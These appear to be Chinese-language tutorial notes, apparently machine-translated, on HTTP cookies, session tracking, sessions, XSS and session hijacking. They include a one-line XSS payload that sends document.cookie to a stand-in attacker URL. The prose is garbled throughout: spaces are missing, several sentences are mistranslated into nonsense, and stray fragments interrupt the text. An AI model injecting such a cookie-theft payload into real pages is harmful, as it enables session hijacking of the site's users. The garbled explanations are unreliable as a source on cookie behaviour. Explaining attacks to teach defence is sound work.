cookiehistorycookie最初是Netscape开发的,现在各大浏览器都支持。类型cookie分为两种类型:会话cookie和持久cookie。会话cookie是一种临时cookie,它记录了用户对访问站点的设置偏好。退出浏览器后用户将被删除。持久性cookie存储在硬盘上。持久性cookie通常用于维护用户定期访问的站点的配置文件或用户名。sessioncookies和persistentcookies的区别在于没有过期时间,没有过期时间的就是sessioncookie。cookiejarcookie的基本思想是让浏览器积累一组特定于服务器的信息,并在每次访问服务器时为其提供信息。浏览器负责存储cookie信息,所以这个系统被称为客户端状态(client-sidestate)。这个cookie的确切名称是HTTP状态管理机制(HTTPstatemanagementmechanism)。网站使用不同的cookie。许多网站会与第一家第三方供应商达成协议来管理广告。当用户访问由同一广告公司提供服务的多个站点时。(因为域名是匹配的)浏览器会发回设置的持久cookie。营销公司可以将这项技术与refererheader相结合,秘密构建用户文档,收集用户习惯。当你访问网站A时,服务器A设置了网站B的cookie。当你访问网站B时,客户端将cookie发送给服务器b,服务器b收到了cookie。做相应的处理。可以将cookieversion0属性添加到服务器响应的标头中,以控制哪些站点可以使用cookie。设置cookie:用户=“玛丽”;expires="Manday,01-01-199901-01-01";首选项=密码;路径=/安全/;securedomain="xxx.com"NAME=VALUE:mandatory,keyvalueexpires:过期时间(Weekday,DD-MM-YYHH:MM:SSGMT)path:pathsecure:发送cookieversion1newattributewhenhttpsokie目的及策略说明文件Discard:客户端在程序终止时丢弃cookiemax-Age:设置cookie的过期时间,单位秒port:端口号会话跟踪当用户访问站点进行多次交易时,cookie可以被用于追踪用户的Tracking。当用户访问该站点时,交易链将启动,Web服务器将使用重定向、URL重写和cookie设置。a-客户端打开xxx.com网页b-服务器将客户端重定向到其他URL(位置:http://www.xxx.com/redirect.html)c-客户端向重定向后的URL发送请求d-服务器发送两个会话cookie作为响应,将用户重定向到另一个URL(位置:http://www.xxx.com/redirect.html/cookie[key])e-客户端向重定向的URL发送请求,并且将cookie附加到请求中f-服务器收到请求并发送两个cookie,在重定向中(位置:http://www.xxx.com/end.html)g-客户端向重定向的URL发送请求,并附上所有的cookies-服务器返回的内容(来自amazon.com的栗子)cache可以在请求头中指明cookie不能缓存Cache-Control:no-cache='Set-Cookie'MaxLengthIE6及以下版本限制每个域名最多20个cookieIE7及以后版本每个域名最多50个IE7最初支持每个域名最多20个cookie,后来通过微软的补丁更新。Firefox限制每个域最多50个cookie。Opera限制每个域最多30个cookie。Safari和Chrome对每个域的cookie数量没有硬性规定。cookiestealingattacker=>avictim=>baserverfile=>http://xxx.com/xxx.phpa只要在b的服务器上加一行代码就可以得到b网站用户的cookielocation.href='http://xxx.com/xxx.php?cookie='+document.cookiesshort缺点是不太安全。最好不要使用cookie来存储敏感信息。会话是一个抽象的概念。当服务器需要记录用户的状态时,就需要使用一定的机制来识别特定的用户,这就是会话机制。服务器会话的数据结构用于跟踪用户的状态。这些数据可以存储在集群、数据库、文件(服务器)中。第一次实现在创建Session时,服务端会在HTTP协议中告诉客户端需要在cookie中记录一个SessionID,后续每次请求都会将这个SessionID发送给服务端。每次发起HTTP请求,客户端都会向服务器端发送相应的Cookie信息。XSS劫持跨站脚本攻击(CrossSiteScript,为了区别于CSS,简称XSS)是指恶意攻击者在网页中插入恶意的html代码。当用户浏览页面时,嵌入式Web里面的html代码就会被执行,从而达到恶意用户的特殊目的。服务器生成的用于识别客户信息的cookie一般称为sessionId,通过某种方式获取其他用户sessionId的攻击称为session劫持set-cookie并设置一个HttpOnly来修复
